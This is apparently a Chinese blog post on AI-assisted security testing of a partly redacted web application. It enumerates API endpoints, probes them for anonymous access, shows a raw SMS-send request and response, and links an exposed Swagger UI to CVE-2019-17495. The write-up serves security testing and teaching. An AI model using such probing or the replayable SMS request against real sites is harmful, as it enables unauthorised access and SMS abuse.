, ne = r + "/staff/UcOrganization/getById"
, re = r + "/staff/UcOrganization/update"
, oe = r + "/staff/UcOrganization/save"
, ae = r + "/staff/UcMerchantPosition/pageList"
, ie = r + "/staff/UcMerchantPosition/getAllUcMerchantPosition"
, se = r + "/staff/UcMerchantPosition/getById"
, ce = r + "/staff/UcMerchantPosition/deleteById"
, ue = r + "/staff/UcMerchantPosition/update"
, le = r + "/staff/UcMerchantPosition/save"
, fe = r + "/organization/UcCompanyRelation/pageList"
, pe = r + "/organization/UcCompanyRelation/deleteById"
, de = r + "/organization/UcCompanyRelation/updateRelationStatus"
, me = r + "/organization/UcCompanyRelation/getCompanyList"
, he = r + "/organization/UcCompanyRelation/save"
, ge = r + "/staff/UcMerchantUser/getAllNoAuthenticationUser"
, be = r + "/staff/UcMerchantUser/authenticationUser"
, ye = r + "/release/PcReleaseConfig/pageList"
, ve = r + "/release/PcReleaseConfig/save"
, xe = r + "/release/PcReleaseConfig/getById"
, we = r + "/release/PcReleaseConfig/update"
, Oe = r + "/release/PcReleaseConfig/getByCode"
, je = r + "/staff/UcOrganization/getPageCompany"
, _e = r + "/staff/UcMerchantApp/getAppAndAppResourceByCompanyId"
, Ce = r + "/staff/UcMerchantApp/addOrEditAppAndAppResource"
var r = "/zzwwxx-spm-staff-center/api/v1"
, o = "/zzwwxx-spm-contract-center/api/v1"
, c = r + "/organization/getOrganizationTree"
, m = o + "/Contract/projectManagerList"
, h = o + "/workflow/pageList"
, v = o + "/workflowDetail/getByWorkflowId"
, x = o + "/workflowDetail/getWorkflowNode"
, w = o + "/workflowDetail/save"
submitTask: o + "/workflow/submitTask",
cancelTask: o + "/workflow/cancelTask",
approvalTask: o + "/workflow/approvalTask",
getWorkflowProcess: o + "/workflow/getWorkflowProcess",
auditPageList: o + "/Contract/auditPageList",
getAuditDetail: o + "/Contract/getAuditDetail",
rejectTask: o + "/workflow/rejectTask"
auditPageList: o + "/Contract/discard/auditPageList",
approvalTask: o + "/workflow/discard/approvalTask",
rejectTask: o + "/workflow/discard/rejectTask",
getAuditDetail: o + "/Contract/discard/getAuditDetail"
templatePageList: o + "/Template/pageList",
templateSave: o + "/Template/save",
templateGetById: o + "/Template/getById",
templateUpdate: o + "/Template/update",
templateDeleteById: o + "/Template/deleteById"
loginByCode: r + "/login/loginByCode",
loginOut: r + "/login/loginOut"
getById: r + "/enterprise/getById",
pageList: r + "/enterprise/pageList",
update: r + "/enterprise/update",
selectPrincipal: r + "/user/selectPrincipal"
getMenuTree: r + "/menu/getMenuTree",
getResource: r + "/user/getResource"
pageList: r + "/role/pageList",
updateStatus: r + "/role/updateStatus",
getRoleFunctionAuth: r + "/roleAuth/getRoleFunctionAuth",
saveRoleAuth: r + "/roleAuth/saveRoleAuth",
getRoleServicerAuth: r + "/roleAuth/getRoleServicerAuth",
getRoleContractAuth: r + "/roleAuth/getRoleContractAuth",
getRoleUserAuth: r + "/roleAuth/getRoleUserAuth",
getRoleAuth: r + "/roleAuth/getRoleAuth"
getWarning: r + "/Warning/getWarning",
updateWarning: r + "/Warning/updateWarning"
getModuleSetting: r + "/headerSetting/getModuleSetting",
測試請求暴露的業務應用HTTP介面
https://xxxxwww.cn/zzwwxx-spm-staff-center/api/v1/organization/getOrganizationTree
{ "payload": null, "code": "402", "msg": "登入已過期,請重新登入", "traceId": "43f1a5334faa44d9a0255feae1462e63.63.17268809549648079" }
projectManagerList另一個匿名訪問介面
POST https://xxxxwww.cn/zzwwxx-spm-contract-center/api/v1/Contract/projectManagerList HTTP/1.1
Content-Type: application/json
Date: Sat, 21 Sep 2024 01:17:52 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: acw_tc=0bca392617268814720164728e2b83ce39ee73e6c768f889aef017c5aabe3f;path=/;HttpOnly;Max-Age=1800
{"payload":null,"code":"402","msg":"登入已過期,請重新登入","traceId":"673122c0467f45df90a059355f0662e0.87.17268814720307663"}
簡訊介面
POST https://xxxxwww.cn.com/sms/send HTTP/1.1
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
x-requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: https://xxxxwww.cn.com
Referer: https://xxxxwww.cn.com/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: acw_tc=0b3c7d8e17268817596242609ebb29dc4d988a18b059d231b7a9a52694089d; portal=ca4b5e6a-6b9e-4a01-aceb-0cae909de7e6; mdcRequestId=80c6fac676cf41a399d2bb5dda73d61a
kind=0&option=0&verifyCode=l7gs&mobile=13888888888
Date: Sat, 21 Sep 2024 01:23:34 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: mdcRequestId=29145115e6954b0e8ee79262e7e0c580; Max-Age=1800; Expires=Sat, 21-Sep-2024 01:53:34 GMT; Path=/; Secure; HttpOnly
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=15724800
{"code":"1","msg":"簡訊傳送成功","data":"13888888888","success":true}
AI輔助分析安全漏洞
Swagger元件暴露
https://xxxxwww.cn/zzwwxx-spm-staff-center/swagger-ui.html
版本資訊暴露
服務端是Springboot引用 Springfox 2.9.2版本資訊
https://springfox.github.io/springfox/docs/2.9.2/
https://mvnrepository.com/artifact/io.springfox/springfox-swagger2/2.9.2
分析其應用依賴
<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger2 -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.9.2</version>
</dependency>
AI輔助分析
安全漏洞io.springfox:springfox-swagger-ui@2.9.2 vulnerabilities
https://security.snyk.io/package/maven/io.springfox:springfox-swagger-ui/2.9.2
CVE-2019-17495
https://nvd.nist.gov/vuln/detail/CVE-2019-17495
https://github.com/advisories/GHSA-c427-hjc3-wrfw
https://avd.aliyun.com/detail?id=AVD-2019-17495
https://github.com/swagger-api/swagger-codegen/issues/11964
AI協助編寫檢測指令碼
Python版本
JAVA版
省市區資料字典介面
https://xxxxwww.cn/zzwwxx-spm-servicer-center/api/v1/Dictionaries/getAreaListByLevel?_=1727252796423&level=1
AI協助響應體分析
總結
利用AI輔助分析HTTP請求響應報文,並反饋安全漏洞檢測與修復建議,具有重要的意義。
1. 提高檢測效率
傳統的安全檢測通常依賴於手動測試或使用固定的工具集。手動測試耗時耗力,而固定工具集可能無法覆蓋所有型別的漏洞。AI可以快速處理大量的HTTP請求響應報文,並從中識別出潛在的安全問題,顯著提高檢測效率。
示例:AI可以實時分析數百甚至數千個請求響應報文,迅速找出其中的異常模式或可疑行為。
2. 提升檢測準確性
AI可以利用機器學習模型和自然語言處理技術來識別複雜的模式和異常行為,從而提高檢測的準確性。相比傳統的基於規則的方法,AI可以更好地適應不斷變化的攻擊手段。
示例:AI可以識別出SQL隱碼攻擊、XSS攻擊、CSRF攻擊等多種複雜的安全漏洞,即使是那些難以透過靜態規則檢測的漏洞。
3. 自動化漏洞分類與優先順序排序
AI可以根據漏洞的嚴重程度和影響範圍自動對漏洞進行分類,並按優先順序排序。這樣可以確保安全團隊首先處理最緊迫的問題。
示例:AI可以自動識別出哪些漏洞可能導致資料洩露、哪些漏洞可能導致系統崩潰,並據此進行優先順序排序。
4. 提供定製化的修復建議
AI可以根據檢測到的漏洞提供定製化的修復建議,幫助開發者快速解決問題。這對於不具備安全專業知識的開發人員尤其重要。
示例:AI可以建議如何修改程式碼以防止SQL隱碼攻擊,或者如何配置Web伺服器以防止XSS攻擊。
5. 實時監測與動態防禦
AI可以實現實時監測,並在檢測到潛在威脅時立即採取行動。這樣可以及時阻止攻擊的發生,而不是等到事後才進行處理。
示例:當AI檢測到異常請求時,它可以自動觸發防禦機制,如阻斷惡意IP地址或增加認證要求。
6. 學習與自我改進
AI系統可以透過持續學習來不斷提升自身的檢測能力和準確率。隨著新漏洞的出現,AI可以不斷更新其模型,保持最新的防護能力。
示例:AI可以透過分析歷史資料和最新的安全研究,不斷最佳化其檢測演算法和模型。
7. 降低誤報率
傳統的安全檢測工具可能會產生較高的誤報率,這會浪費大量的人力物力去驗證這些誤報。AI可以透過學習和智慧分析,降低誤報率,提高檢測的有效性。 示例:AI可以區分正常的使用者行為和惡意攻擊行為,從而減少誤報的情況。
8. 培訓與教育
AI還可以作為培訓工具,幫助開發人員和安全團隊理解常見的安全漏洞及其防範措施。透過分析真實的請求響應報文,可以提供生動的案例教學。
示例:AI可以生成詳細的漏洞分析報告,並附帶詳細的解釋和案例,幫助團隊成員更好地理解安全問題。
9. 促進合規性
AI可以確保系統遵守各種安全標準和法規要求,如GDPR、HIPAA等。這對於需要滿足特定行業標準的企業尤為重要。
示例:AI可以檢查系統是否符合特定的安全標準,並提供合規性的報告。
10. 降低成本
透過提高檢測效率和準確性,減少誤報,並提供自動化的修復建議,AI可以顯著降低企業在安全管理方面的成本。
示例:AI可以減少人工測試的時間和人力成本,同時減少因安全問題導致的停機時間和經濟損失。
利用AI輔助分析HTTP請求響應報文,並反饋安全漏洞檢測與修復建議,不僅可以提高檢測的效率和準確性,還可以提供定製化的修復建議,實現實時監測與動態防禦,並且透過持續學習不斷提升自身的防護能力。此外,AI還可以幫助降低誤報率,促進合規性,降低安全管理的成本。這些意義使得AI在Web安全領域發揮著越來越重要的作用。
今天先到這兒,希望對雲原生,技術領導力, 企業管理,系統架構設計與評估,團隊管理, 專案管理, 產品管理,資訊保安,團隊建設 有參考作用 , 您可能感興趣的文章:
構建創業公司突擊小團隊
國際化環境下系統架構演化
微服務架構設計
影片直播平臺的系統架構演化
微服務與Docker介紹
Docker與CI持續整合/CD
網際網路電商購物車架構演變案例
網際網路業務場景下訊息佇列架構
網際網路高效研發團隊管理演進之一
訊息系統架構設計演進
網際網路電商搜尋架構演化之一
企業資訊化與軟體工程的迷思
企業專案化管理介紹
軟體專案成功之要素
人際溝通風格介紹一
精益IT組織與分享式領導
學習型組織與企業
企業創新文化與等級觀念
組織目標與個人目標
初創公司人才招聘與管理
人才公司環境與企業文化
企業文化、團隊文化與知識共享
高效能的團隊建設
專案管理溝通計劃
構建高效的研發與自動化運維
某大型電商雲平臺實踐
網際網路資料庫架構設計思路
IT基礎架構規劃方案一(網路系統規劃)
餐飲行業解決方案之客戶分析流程
餐飲行業解決方案之採購戰略制定與實施流程
餐飲行業解決方案之業務設計流程
供應鏈需求調研CheckList
企業應用之效能實時度量系統演變
如有想了解更多軟體設計與架構, 系統IT,企業資訊化, 團隊管理 資訊,請關注我的微信訂閱號:
作者:Petter Liu
出處:http://www.cnblogs.com/wintersun/
本文版權歸作者和部落格園共有,歡迎轉載,但未經作者同意必須保留此段宣告,且在文章頁面明顯位置給出原文連線,否則保留追究法律責任的權利。
該文章也同時釋出在我的獨立部落格中-Petter Liu Blog。